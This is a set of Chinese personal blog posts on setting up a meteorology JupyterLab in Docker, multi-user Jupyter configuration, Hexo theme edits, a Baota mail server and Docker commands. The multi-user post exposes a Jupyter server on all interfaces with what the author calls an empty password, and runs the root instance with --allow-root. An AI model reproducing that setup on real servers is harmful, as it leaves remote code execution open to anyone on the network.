Basemap无报错，并出现一个地球，即表示安装成功。 basemap还挺大，装了2G左右吧。 Basemap 的继承者 Cartopy Basemap 自2020年开始停止维护，所以，新的项目还是用新工具吧。\n1wget https://files.pythonhosted.org/packages/e5/92/fe8838fa8158931906dfc4f16c5c1436b3dd2daf83592645b179581403ad/Cartopy-0.17.0.tar.gz 2tar zxvf Cartopy-0.17.0.tar.gz 3cd Cartopy-0.17.0 4python setup.py install 网不好的也可以尝试从百度网盘下载\n1链接：https://pan.baidu.com/s/1EOofzd9VcFgYTbpRhDf5pg 2提取码：c60e 测试，浏览器打开jupyter输入以下代码,能出土没报错即可。\n1import cartopy.crs as ccrs 2import matplotlib.pyplot as plt 3 4ax = plt.axes(projection=ccrs.PlateCarree()) 5ax.coastlines() 6 7# Save the plot by calling plt.savefig() BEFORE plt.show() 8# plt.savefig(\u0026#39;coastlines.pdf\u0026#39;) 9# plt.savefig(\u0026#39;coastlines.png\u0026#39;) 10plt.show() Ncar的NCL_to_Python 参考Important letter regarding the future of NCL和PyNIO和PyNGL。但是PyNIO和PyNGL与basemap冲突，climate-dev mailing list archives，也提到对代码做了修改，反正这两货不能在一起，那就打包两个，幸好之前docker了镜像。 从刚安装号atmos的那个镜像开始，运行并进入镜像。\n1conda config --set channel_priority flexible 2conda install xarray netcdf4 scipy pyngl pynio ncl 测试，浏览器打开jupyterlab，上传下面这个包，解压，打开,运行其中的文件，没报错，出图即可。\n1链接：https://pan.baidu.com/s/1lpBJTJHp466zbru9cKtoTg 2提取码：8q3y 欧洲中心数据下载ecmwf-api 参考利用Python调用ECMWF欧洲中心API批量下载数据，python调用ECMWF欧洲中心api下载数据\n1python -m pip install ecmwf-api-client 测试，打开ipython，输入下方代码，没报错即可。\n1from ecmwfapi import ECMWFDataServer Fortran支持jupyter-fortran-kernel 下载插件包上传之服务器解压安装。\n1链接：https://pan.baidu.com/s/1EAkEEVtmuOyB_VtzEAMqrQ 2提取码：d4l6 3复制这段内容后打开百度网盘手机App，操作更方便哦 1apt install gfortran 2unzip jupyter-fortran-kernel-master.zip 3cd jupyter-fortran-kernel-master 4python setup.py install 5jupyter-kernelspec install fortran_spec/ 打开浏览器，就可以看到Fortran的选项 点击打开，输入\n1program aa 2implicit none 3print*,\u0026#39;Hello World\u0026#39; 4end 镜像包信息 jupytercgrads_metpy_siphon_atmos_basemap_ecmwf_fortran_cartopy\njupytercgrads_metpy_siphon_atmos_ncl_ecmwf_fortran\n失败的方法安装地图支持包BaseMap 首先安装依赖包\n1python -m pip install geos 2python -m pip install pip 3python -m pip install Pillow 参考basemap安装教程，linux python 安装basemap\n1pip install pyproj 测试，bash输入以下命令没报错即可。\n1python -c \u0026#39;import pyproj\u0026#39; basemap的包真的好难下，我这里存了个百度网盘，需要的自行下载。\n1链接：https://pan.baidu.com/s/1hMhdVfVb1n709bxnSJCECg 2提取码：a1cw 参考python番外（2）——Basemap安装 上传服务器到Docker环境，这里可以用workspace目录，反正装完删掉就可以。\n1tar zxvf basemap-1.1.0.tar.gz 2cd basemap-1.0.7/geos-3.3.3/ 3export GEOS_DIR=/usr/local 4./configure --prefix=$GEOS_DIR 5make 能解压个二十分钟左右吧，慢慢等着，然后make报错。\n1return (ISNAN(x) \u0026amp;\u0026amp; ISNAN(y) \u0026amp;\u0026amp; ISNAN(z)); 2 ^~~~~ 3../../../include/geos/geom/Coordinate.inl:39:10: note: suggested alternative: ‘SN AN’ 4return (ISNAN(x) \u0026amp;\u0026amp; ISNAN(y) \u0026amp;\u0026amp; ISNAN(z)); 5 ^~~~~ 6 SNAN 7../../../include/geos/geom/Coordinate.inl: In member function ‘bool geos::geom::C oordinate::equals3D(const geos::geom::Coordinate\u0026amp;) const’: 8../../../include/geos/geom/Coordinate.inl:83:21: error: ‘ISNAN’ was not declared in this scope 9 ((z == other.z)||(ISNAN(z) \u0026amp;\u0026amp; ISNAN(other.z))); 10 ^~~~~ 11../../../include/geos/geom/Coordinate.inl:83:21: note: suggested alternative: ‘SN AN’ 12 ((z == other.z)||(ISNAN(z) \u0026amp;\u0026amp; ISNAN(other.z))); 13 ^~~~~ 14 SNAN 15make[4]: *** [Makefile:373: IndexedPointInAreaLocator.lo] Error 1 16make[4]: Leaving directory \u0026#39;/workspace/basemap-1.1.0/geos-3.3.3/src/algorithm/loc ate\u0026#39; 17make[3]: *** [Makefile:392: all-recursive] Error 1 18make[3]: Leaving directory \u0026#39;/workspace/basemap-1.1.0/geos-3.3.3/src/algorithm/loc ate\u0026#39; 19make[2]: *** [Makefile:444: all-recursive] Error 1 20make[2]: Leaving directory \u0026#39;/workspace/basemap-1.1.0/geos-3.3.3/src/algorithm\u0026#39; 21make[1]: *** [Makefile:476: all-recursive] Error 1 22make[1]: Leaving directory \u0026#39;/workspace/basemap-1.1.0/geos-3.3.3/src\u0026#39; 23make: *** [Makefile:368: all-recursive] Error 解决办法参考GEOS安装出错\n1cd include/geos/ 2nano platform.h 修改24行\n1/* Has isnan */ 2/* #undef HAVE_ISNAN */ 改为\n1/* Has isnan */ 2#define HAVE_ISNAN 1 然后 不要configure 直接 make 然后 make install\nmake 也要个40多分钟吧\n【 2020-02-18 0:23:56】 一个小时，反正也就只有等着。\n【 2020-02-18 1:08:34】 又一个小时，我好想睡觉，但是不看他装完我睡不着。\n【 2020-02-18 1:28:23】我好像想起来我折腾这玩意这么慢了，这是在OSS下，为了方便管理代码，我挂载了OSS盘做储存，OSS擅长存而不擅长高频访问，而编译make就是个高频的活动。\n【 2020-02-18 1:39:44】脱离OSS目录重新configure nano platform.h make\n【2020-02-18 1:44:01 】make 完毕，make install 不到30秒完毕。2/100*60=1.2，也就是说我花了两小时等一个1分20秒就能出的东西，还傻等了两小时。\n但是我回到basemap文件夹下python setup.py install 时报错\n1In file included from src/_geoslib.c:248:0: 2/usr/local/include/geos_c.h:149:22: note: expected ‘GEOSMessageHandler {aka void (*)(const char *)}’ but argument is of type ‘void (*)(char *, char *)’ 3 extern void GEOS_DLL initGEOS(GEOSMessageHandler notice_function, 4··· 5src/_geoslib.c:5619:13: error: ‘PyThreadState {aka struct _ts}’ has no member named ‘exc_traceback’; did you mean ‘curexc_traceback’? 6 tstate-\u0026gt;exc_traceback = local_tb; 7 ^~~~~~~~~~~~~ 8 curexc_traceback 9error: Command \u0026#34;gcc -pthread -B /opt/conda/compiler_compat -Wl,--sysroot=/ -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -fPIC -I/usr/local/include -I[\u0026#39;/opt/conda/lib/python3.7/site-packages/numpy/core/include\u0026#39;] -I/opt/conda/lib/python3.7/site-packages/numpy/core/include -I/opt/conda/include/python3.7m -c src/_geoslib.c -o build/temp.linux-x86_64-3.7/src/_geoslib.o -MMD -MF build/temp.linux-x86_64-3.7/src/_geoslib.o.d\u0026#34; failed with exit status 1 参考 Python踩坑之路， Python 3.7 Build failure: error: ‘PyThreadState’ {aka ‘struct _ts’} has no member named ‘exc_type’; did you mean ‘curexc_type’? #11\n1pip install PyOpenGL PyOpenGL_accelerate 2apt-get install python3-dev 3apt-get install libevent-dev 当然都没有解决。\n","date":"2020-02-17T15:37:26Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2020/02/19/cc49e7b5ae07e.jpeg","permalink":"/post/%E6%B0%94%E8%B1%A1%E4%BA%BA%E7%9A%84jupyterlab/","title":"气象人的JupyterLab"},{"content":"上一篇初步安装了JupyterLab，但是这个不能多用户真的让人难过。\n拉取镜像运行 在阿里云镜像市场上找到一个配置好Ananoconda和JupyterLab的镜像，使用如下代码直接拉取\n1docker pull registry.cn-shanghai.aliyuncs.com/stormstone/juplab 带端口号运行，其中8000是本机主要用户端口，7777是第二个用户的端口，要多少用户就用多少端口。Docker的/home下新建用户并设置密码，密码多少无所谓，Docker的work目录也挂过来，你可以用OSS在本机挂载。\n1docker run -p 8000:8888 -p 7777:7777 -d --name jupyterlabofstormstone -v `pwd`/新建一个宿主机Jupyter目录/home:/home -v `pwd`/新建一个宿主机Jupyter目录/work:/work --restart=always registry.cn-shanghai.aliyuncs.com/stormstone/juplab:v2 进入镜像，新建用户 1docker exec -it jupyterlabofstormstone bash 2adduser share # share 是我新建的用户 3passwd share 切换用户，生成配置文件，其实这个文件在哪里大概不重要，后面带绝对路径运行即可，不过咱还是规范点。\n1su share 2jupyter notebook --generate-config 修改/home/share/.jupyter/jupyter_notebook_config.py加入如下字段，密码是空密码\n1c.NotebookApp.ip=\u0026#39;*\u0026#39; 2c.NotebookApp.password = \u0026#39;sha1:840438352003:10c0d77ee275c741e22e6929cb7822e61ab5c256\u0026#39; 3c.NotebookApp.open_browser = False 4c.NotebookApp.port =7777 5c.NotebookApp.notebook_dir = \u0026#39;/work/share\u0026#39; 6c.PAMAuthenticator.encoding = \u0026#39;utf8\u0026#39; 7c.NotebookApp.default_url = \u0026#39;/lab\u0026#39; 8c.NotebookApp.allow_remote_access = True 修改root配置 切换回root,重复上述动作。\n1su root 2jupyter notebook --generate-config 生成密码 1ipython 输入\n1from notebook.auth import passwd 2passwd() 在跳出的框内输入密码，两次，得到一个Token值。复制一下一会要用。\n修改/root/.jupyter/jupyter_notebook_config.py加入如下字段\n1c.NotebookApp.ip=\u0026#39;*\u0026#39; 2c.NotebookApp.password = 你自己生成Token 3c.NotebookApp.open_browser = False 4c.NotebookApp.port =8888 5c.NotebookApp.notebook_dir = \u0026#39;/work\u0026#39; 6c.PAMAuthenticator.encoding = \u0026#39;utf8\u0026#39; 保存，退出镜像\n重启镜像 1docker stop jupyterlabofstormstone 2docker restart jupyterlabofstormstone 3docker exec jupyterlabofstormstone nohup jupyter notebook --config /home/share/.jupyter/jupyter_notebook_config.py --allow-root # 给新用户的端口也跑起来，会输出一些信息，不用管，ctrl-c也没有影响 现在可以在http://IP:8000和http://IP:7777两个端口打开了，为两个端口绑定域名，设置操作权限等。\n参考\nJupyterHub 配置和管理\n实验室工作站jupyterhub安装笔记\nJupyterLab on JupyterHub\njupyter notebook 权限控制，实现多个用户工作空间不同，同时使用\n如何用一台服务器给多个 Jupyter 用户提供服务\n","date":"2020-02-16T23:59:58Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2020/02/19/cc49e7b5ae07e.jpeg","permalink":"/post/jupyterlab%E5%A4%9A%E7%94%A8%E6%88%B7%E9%85%8D%E7%BD%AE/","title":"JupyterLab多用户配置"},{"content":"我在主题作者的Github上提的issue需求：添加友链，打赏等功能 #65\n修改社交链接 /themes/obsidian/layout/_partial/post/article.ejs文件中 文头添加如下片段引入图标，这个是我自己的网址，想换其他图标下面会介绍。\n1\u0026lt;%- css([\u0026#39;//ppt.bugatii100peagle.cn/font_uufs75uai6o/iconfont.css\u0026#39;]) %\u0026gt; 找到如下片段，大概105行左右的位置\n1 \u0026lt;div class=\u0026#34;sidebar\u0026#34;\u0026gt; 2 \u0026lt;div class=\u0026#34;box animated fadeInRight\u0026#34;\u0026gt; 3 \u0026lt;div class=\u0026#34;subbox\u0026#34;\u0026gt; 4 \u0026lt;img src=\u0026#34;\u0026lt;%- theme.avatar %\u0026gt;\u0026#34; height=300 width=300\u0026gt;\u0026lt;/img\u0026gt; 5 \u0026lt;p\u0026gt;\u0026lt;%- config.author %\u0026gt;\u0026lt;/p\u0026gt; 6 \u0026lt;span\u0026gt;\u0026lt;%- theme.descriptionOne %\u0026gt;\u0026lt;/span\u0026gt; 7 \u0026lt;dl\u0026gt; 8 \u0026lt;dd\u0026gt;\u0026lt;a href=\u0026#34;\u0026lt;%- theme.socials.github %\u0026gt;\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;\u0026lt;span 9 class=\u0026#34; iconfont icon-github\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/dd\u0026gt; 10 \u0026lt;dd\u0026gt;\u0026lt;a href=\u0026#34;\u0026lt;%- theme.socials.mail %\u0026gt;\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;\u0026lt;span 11 class=\u0026#34; iconfont icon-mail\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/dd\u0026gt; 12 \u0026lt;dd\u0026gt;\u0026lt;a href=\u0026#34;\u0026lt;%- theme.socials.stackoverflow %\u0026gt;\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;\u0026lt;span 13 class=\u0026#34; iconfont icon-stack-overflow\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/dd\u0026gt; 14 \u0026lt;/dl\u0026gt; 15 \u0026lt;/div\u0026gt; 16 \u0026lt;ul\u0026gt; 改为\n1 \u0026lt;div class=\u0026#34;sidebar\u0026#34;\u0026gt; 2 \u0026lt;div class=\u0026#34;box animated fadeInRight\u0026#34;\u0026gt; 3 \u0026lt;div class=\u0026#34;subbox\u0026#34;\u0026gt; 4 \u0026lt;img src=\u0026#34;\u0026lt;%- theme.avatar %\u0026gt;\u0026#34; height=300 width=300\u0026gt;\u0026lt;/img\u0026gt; 5 \u0026lt;p\u0026gt;\u0026lt;%- config.author %\u0026gt;\u0026lt;/p\u0026gt; 6 \u0026lt;span\u0026gt;\u0026lt;%- theme.descriptionOne %\u0026gt;\u0026lt;/span\u0026gt; 7 \u0026lt;dl\u0026gt; 8 \u0026lt;dd\u0026gt;\u0026lt;a href=\u0026#34;\u0026lt;%- theme.socials.github %\u0026gt;\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;\u0026lt;span 9 class=\u0026#34; iconfont icon-github\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/dd\u0026gt; 10 \u0026lt;dd\u0026gt;\u0026lt;a href=\u0026#34;\u0026lt;%- theme.socials.mail %\u0026gt;\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;\u0026lt;span 11 class=\u0026#34; iconfont icon-mail\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/dd\u0026gt; 12 \u0026lt;dd\u0026gt;\u0026lt;a href=\u0026#34;\u0026lt;%- theme.socials.rss %\u0026gt;\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;\u0026lt;span 13 class=\u0026#34; iconfont icon-rss\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/dd\u0026gt; 14 \u0026lt;/dl\u0026gt; 15 \u0026lt;dl\u0026gt; 16 \u0026lt;dd\u0026gt;\u0026lt;a href=\u0026#34;\u0026lt;%- theme.socials.bilibili %\u0026gt;\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;\u0026lt;span 17 class=\u0026#34; iconfont icon-bilibili\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/dd\u0026gt; 18 \u0026lt;dd\u0026gt;\u0026lt;a href=\u0026#34;\u0026lt;%- theme.socials.zhihu %\u0026gt;\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;\u0026lt;span 19 class=\u0026#34; iconfont icon-zhihu\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/dd\u0026gt; 20 \u0026lt;dd\u0026gt;\u0026lt;a href=\u0026#34;\u0026lt;%- theme.socials.QQ %\u0026gt;\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;\u0026lt;span 21 class=\u0026#34; iconfont icon-QQ\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/dd\u0026gt; 22 \u0026lt;/dl\u0026gt; 23 \u0026lt;/div\u0026gt; 然后把主题文件/obsidian/_config.yml中# Social media links socials:的字段改为：\n1# Social media links 2socials: 3 github: \u0026#34;https://github.com/你的Github主页\u0026#34; 4 mail: \u0026#34;mailto:你的邮箱\u0026#34; 5 rss: \u0026#34;https://网站域名/atom.xml\u0026#34; #安装相关插件后自动生成见下 6 bilibili: \u0026#34;https://space.bilibili.com/你的哔哩哔哩主页\u0026#34; 7 zhihu: \u0026#34;https://www.zhihu.com/people/你的知乎主页\u0026#34; 8 QQ: \u0026#34;tencent://AddContact/?fromId=45\u0026amp;fromSubId=1\u0026amp;subcmd=all\u0026amp;uin=你的QQ号\u0026amp;website=www.oicqzone.com\u0026#34; 保存，然后重新发布hexo，效果如图 参考\nQQ自动强制加好友代码html\nHexo Next主题添加社交链接\n换图标CSS 参考Iconfont 国内最强图标库 入门用法简介 在 https://www.iconfont.cn/ 选择你喜欢的图标加购物车，然后下载代码，把代码传到服务器上，在/themes/obsidian/layout/_partial/post/article.ejs文件开头引入即可。\nRSS插件安装 参考为Hexo添加RSS和Sitemap 安装插件\n1npm install hexo-generator-feed --save 执行 hexo g，查看一下public目录下，如果有atom.xml文件，则表明配置成功 主题文件中不需要修改， @TriDiamond 已经写了，但是我似乎没在页面上找到RSS再哪里，所以还是自己接一个。\n友链 通过分析大概能猜出/themes/obsidian/layout/_partial/post/article.ejs 文件中的代码与实际效果的对应关系。\n那么友链就加在文章 分类 标签的下面\n1\u0026lt;ul\u0026gt; 2 \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;/\u0026#34;\u0026gt;\u0026lt;%- site.posts.length %\u0026gt; \u0026lt;p\u0026gt;\u0026lt;%= __(\u0026#39;articles\u0026#39;) %\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; 3 \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;/categories\u0026#34;\u0026gt;\u0026lt;%- site.categories.length %\u0026gt; \u0026lt;p\u0026gt;\u0026lt;%= __(\u0026#39;categories\u0026#39;) %\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; 4 \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;/tags\u0026#34;\u0026gt;\u0026lt;%- site.tags.length %\u0026gt; \u0026lt;p\u0026gt;\u0026lt;%= __(\u0026#39;tags\u0026#39;) %\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; 5\u0026lt;/ul\u0026gt; 在上述片段下面加一行\n1\u0026lt;ul\u0026gt; 2 \u0026lt;br\u0026gt;\u0026lt;span\u0026gt;\u0026lt;b\u0026gt;\u0026lt;p\u0026gt;友链博客\u0026lt;/p\u0026gt;\u0026lt;/b\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;br\u0026gt; 3 \u0026lt;span\u0026gt;\u0026lt;u\u0026gt;\u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;https://xiaoyou66.com/\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;小游网\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;/u\u0026gt;\u0026lt;/span\u0026gt; 4 \u0026lt;span\u0026gt;\u0026lt;u\u0026gt;\u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;https://brightsoulxyhy.github.io/\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;BrightSoul\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;/u\u0026gt;\u0026lt;/span\u0026gt; 5 \u0026lt;span\u0026gt;\u0026lt;u\u0026gt;\u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;https://www.jxtxzzw.com/\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;凝神长老\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;/u\u0026gt;\u0026lt;/span\u0026gt; 6 \u0026lt;span\u0026gt;\u0026lt;u\u0026gt;\u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;http://climate2weather.cc/\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;Gavin\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;/u\u0026gt;\u0026lt;/span\u0026gt; 7 \u0026lt;span\u0026gt;\u0026lt;u\u0026gt;\u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;https://kenblog.top/ps/weixin.html\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;青笔\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;/u\u0026gt;\u0026lt;/span\u0026gt; 8 \u0026lt;span\u0026gt;\u0026lt;u\u0026gt;\u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;https://www.denry.cn/\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;鲸落海域\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;/u\u0026gt;\u0026lt;/span\u0026gt; 9 \u0026lt;span\u0026gt;\u0026lt;u\u0026gt;\u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;https://blog.lcyown.cn/\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;LCY Blog\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;/u\u0026gt;\u0026lt;/span\u0026gt; 10 \u0026lt;span\u0026gt;\u0026lt;u\u0026gt;\u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;http://yearito.cn/\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;yearito\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;/u\u0026gt;\u0026lt;/span\u0026gt; 11\u0026lt;/ul\u0026gt; 其中href字段后填网址，\u0026quot;_blank\u0026quot;\u0026gt;博客标题\u0026lt;/a\u0026gt;中间填博客标题，这个方法有个缺点就是，博客标题不能太长。像我那么长的名字就不行，除非手动限制大小，可参考html字体大小、颜色、粗体、下划线代码（局部） 真是硬核的加友链的方式！\n打赏 还是/themes/obsidian/layout/_partial/post/article.ejs 文件，找到下面的字段，就在刚刚改友链的下面。是那个一直会移动显示目录的那块，一直在画面，跟随移动，更容易受到赞赏。\n1\u0026lt;div class=\u0026#34;box sticky animated fadeInRight faster\u0026#34;\u0026gt; 2 \u0026lt;div id=\u0026#34;toc\u0026#34; class=\u0026#34;subbox\u0026#34;\u0026gt; 3 \u0026lt;h4\u0026gt;\u0026lt;%= __(\u0026#39;toc\u0026#39;) %\u0026gt;\u0026lt;/h4\u0026gt; 4 \u0026lt;%- toc %\u0026gt; 5 \u0026lt;/div\u0026gt; 6\u0026lt;/div\u0026gt; 改为\n1\u0026lt;div class=\u0026#34;box sticky animated fadeInRight faster\u0026#34;\u0026gt; 2 \u0026lt;div id=\u0026#34;toc\u0026#34; class=\u0026#34;subbox\u0026#34;\u0026gt; 3 \u0026lt;h4\u0026gt;\u0026lt;%= __(\u0026#39;toc\u0026#39;) %\u0026gt;\u0026lt;/h4\u0026gt; 4 \u0026lt;%- toc %\u0026gt; 5 \u0026lt;/div\u0026gt; 6 \u0026lt;ul\u0026gt; 7 \u0026lt;span\u0026gt;\u0026lt;u\u0026gt;\u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;http://你的微信打赏码链接\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;微信打赏\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;/u\u0026gt;\u0026lt;/span\u0026gt; 8 \u0026lt;span\u0026gt;\u0026lt;u\u0026gt;\u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;http://你的支付宝打赏链接\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;支付宝打赏\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;/u\u0026gt;\u0026lt;/span\u0026gt; 9 \u0026lt;/ul\u0026gt; 10\u0026lt;/div\u0026gt; 效果如图，点击打开新的标签页就是赞赏码。\n","date":"2020-02-16T15:32:34Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2020/02/16/8442e3075f45d.png","permalink":"/post/hexo%E4%B8%BB%E9%A2%98obsidian%E4%BF%AE%E6%94%B9%E7%A4%BE%E4%BA%A4%E9%93%BE%E6%8E%A5/","title":"hexo主题obsidian修改社交链接"},{"content":"安装宝塔邮局管理器 打开宝塔左栏的软件商店，点击安装即可。新机子比较容易安装，老机子配置服务太多，存在各种占用问题。 配置域名 域名控制台中添加指向服务器IP的mail主机记录。 点击添加域名，按提示再次添加那四个记录值。 postfix启动失败 1chown -R postfix /var/spool/postfix/ 2chown -R postfix /var/lib/postfix/ 然后，如果报错信息中有\n1 postfix/master[12722]: fatal: bind 0.0.0.0 port 25: Address already in use 则说明端口被占用\n1netstat -nap | grep 25 1kill 21761 干掉这个占用，然后再在面板中重启即可。\nNextcloud端加个邮件插件 参考Nextcloud漂亮易用的WebMail插件：RainLopp\n注意这个RainLopp是收发邮件的皮，相当于电脑端上的Outlook，网易邮箱大师之类的应用，它本身没有收发功能，就只是一个皮。但是，我才你也不想只用宝塔的那个插件写邮件吧。\n参考\npostfix启动失败\n使用自己注册的域名搭建属于自己的邮件服务器\n使用宝塔邮局管理器搭建私人邮局实现收发邮件功能\n","date":"2020-02-15T12:54:03Z","image":"https://ss2.bdstatic.com/70cFvnSh_Q1YnxGkpoWK1HF6hhy/it/u=3565045627,1188850181\u0026fm=26\u0026gp=0.jpg","permalink":"/post/%E5%AE%9D%E5%A1%94%E9%9D%A2%E6%9D%BF%E5%BC%80%E5%90%AF%E9%82%AE%E4%BB%B6%E6%9C%8D%E5%8A%A1/","title":"宝塔面板开启邮件服务"},{"content":"安装Docker 参考ubuntu 18.04 安装docker ce卸载旧版本Docker，新机子不用，给重装的老机子用。\n1sudo apt-get remove docker docker-engine docker.io 安装包以允许通过HTTPS使用存储库\n1sudo apt-get install \\ 2 apt-transport-https \\ 3 ca-certificates \\ 4 curl \\ 5 software-properties-common 添加Docker的官方GPG密钥\n1curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - 确认指纹\n1sudo apt-key fingerprint 0EBFCD88 设置稳定存储库，默认最新版\n1sudo add-apt-repository \\ 2 \u0026#34;deb [arch=amd64] https://download.docker.com/linux/ubuntu \\ 3 $(lsb_release -cs) \\ 4 stable\u0026#34; 再次更新apt包索引\n1sudo apt-get update 安装最新版本的Docker CE\n1sudo apt-get install docker-ce 查看Docker CE 版本\n1docker -v 通过运行hello-world映像验证是否正确安装了Docker CE\n1sudo docker run hello-world Docker使用 拉取，默认从Docker Hub拉取 1docker pull 镜像用户/镜像名称 运行。 1#普通模式 2docker run 镜像用户/镜像名称 3#命名，指定端口，指定目录，指定用户，指定模式 4docker run --name jupyter -d -p 8000:8888 -v `pwd`/jupyterlab:/workspace -w /workspace -e GRANT_SUDO=yes --user root 127.0.0.1:5000/jupytercgrads jupyter-lab --no-browser --port=8888 --ip=0.0.0.0 --allow-root 5# 指定端口，默认开机自启动 6docker run --name onlyoffice -i -t -d -p 9000:80 --restart=always onlyoffice/documentserver 7# 指定端口，指定工作目录，开机自启动 8docker run -p 8000:8000 -d --name jupyterhub -v /root/jupyterhub/jupyterhub/:/srv/jupyterhub -v /root/jupyterhub/home/:/home --restart=always jupyterhub/jupyterhub_build jupyterhub 查看调试 1# 查看当前运行的容器 2docker ps 3# 查看已拉取的镜像 4docker images 5# 停止当前容器 6docker stop 容器名（或进程ID） 7# 删除当前容器链接，在容器中的操作全都失效 8docker rm 容器名（或进程ID） 打包容器为新镜像 1# 暂停容器 2docker pause 容器名（或进程ID） 3# 给容器盖戳，之后 4docker commit 进程ID 镜像用户/镜像NEW名称:版本 提交镜像 1docker push 镜像用户/镜像NEW名称:版本 参考链接\nDocker镜像上传到OSS\n通过tar命令将现有的系统打包成docker容器，用于构建镜像文件\nDocker 容器镜像删除\nDocker 容器中的域名解析问题\n搭建私有Docker仓库，存储到阿里云OSS\ndocker 将正在运行的容器打包为镜像\n","date":"2020-02-13T16:58:16Z","image":"https://ss0.bdstatic.com/70cFvHSh_Q1YnxGkpoWK1HF6hhy/it/u=228896427,2980351437\u0026fm=26\u0026gp=0.jpg","permalink":"/post/docker%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%80%BB%E7%BB%93/","title":"Docker常用命令总结"},{"content":"服务器信息：\n1Distributor ID: Ubuntu 2Description: Ubuntu 18.04 LTS 3Release: 18.04 4Codename: bionic 准备工作 更新服务器软件列表 首先，更新下列表，装一下依赖\n1sudo apt-get update 2sudo apt-get upgrade 3sudo apt-get -y install git gcc g++ make openssl libssl-dev libbz2-dev libreadline-dev libsqlite3-dev python-dev libmysqlclient-dev 安装Docker 参考Docker常用命令总结\n安装JupyterLab 下面是我自己用registry搭建的仓库，已经有一个安装好C内核与Grads的jupyterLab，你可以用官网的jupyterlab。搭建私有仓库的方法参考：搭建私有docker仓库并使用OSS作为存储\n1docker pull registry 2docker run -d -p 443:5000 --restart=always --name registry \\ 3 -v `pwd`/config:/config \\ 4 -e \u0026#34;REGISTRY_AUTH=htpasswd\u0026#34; \\ 5 -e \u0026#34;REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm\u0026#34; \\ 6 -e REGISTRY_AUTH_HTPASSWD_PATH=/config/htpasswd \\ 7 -e REGISTRY_HTTP_TLS_CERTIFICATE=/config/chained.pem \\ 8 -e REGISTRY_HTTP_TLS_KEY=/config/domain.key \\ 9 -e REGISTRY_STORAGE=oss \\ 10 -e REGISTRY_STORAGE_OSS_ACCESSKEYID=********** \\ 11 -e REGISTRY_STORAGE_OSS_ACCESSKEYSECRET=***************** \\ 12 -e REGISTRY_STORAGE_OSS_REGION=oss-cn-qingdao \\ 13 -e REGISTRY_STORAGE_OSS_BUCKET=******* \\ 14 registry:2 拉取jupyter镜像，这里我使用的jupytercgrads是我自己自建仓库的带C内核和Grads内核的，以后搞个Docker镜像仓库Harbor之搭建及配置，然后我把镜像传上来吧。\n1docker 